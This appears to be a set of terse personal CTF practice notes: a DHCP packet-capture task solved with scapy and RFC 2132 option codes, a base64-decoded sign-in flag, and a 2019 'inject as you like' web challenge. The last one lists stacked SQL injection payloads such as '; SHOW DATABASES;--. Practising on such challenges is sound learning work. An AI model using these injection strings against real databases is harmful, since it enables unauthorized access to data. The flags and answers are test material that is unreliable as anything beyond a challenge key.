group number 307283889 group entry questions 2 
what is the host name of this traffic package?
search RFC2132
9.6 DHCP Message Type
This option is used to convey the type of the DHCP message.
the code for ths option is 53,and its length is 1 
filter set to bootp
no     value  message Type   
2216   7      dhcprelease
2576   1      dhcpdiscover
2728   2      dhcpoffer
2729   3      dhcprequest
2730   5      dhcpack
dhcp.option.dhcps unsigned integer(8 bits)
RFC951 Page 3
FIELD BYTES DESCRIPTION
op    1     packet op code / message type 
            1=BOOTREQUEST,2=BOOTREPLY
dhcp.type unsigned integer(8 bits)

dhcp.option.hostname RFC2132 3.14 host name option
The code for the option is 12,and its minimum length is 1
from scapy.all import rdpcap,IP,UDP,DHCP
a=rdpcap("DHCP.pcap")
b=a[2728]
print(b[IP][UDP][DHCP].options[4][1])
DEMONB3F5

kctf web sign-in questions 
import base64
base64.b64decode("ZmxhZ3t3ZTFjME1FX3RvXzB1Ul9jb050RVNUfQ==")
flag{we1c0ME_to_0uR_coNtEST}
kctf web strong network cup 2019 inject as you like
import urllib3
h=urllib3.request("GET", "")
$inject=
'; SHOW DATABASES;--
'; SHOW TABLES FROM ...;--
'; SHOW COLUMNS FROM ... IN ...;--
from bs4 import BeautifulSoup
s=BeautifulSoup(h.data,'html.parser')
b=s.find('pre').get_text()
import re
c=re.findall(r'"(.*?)"',b)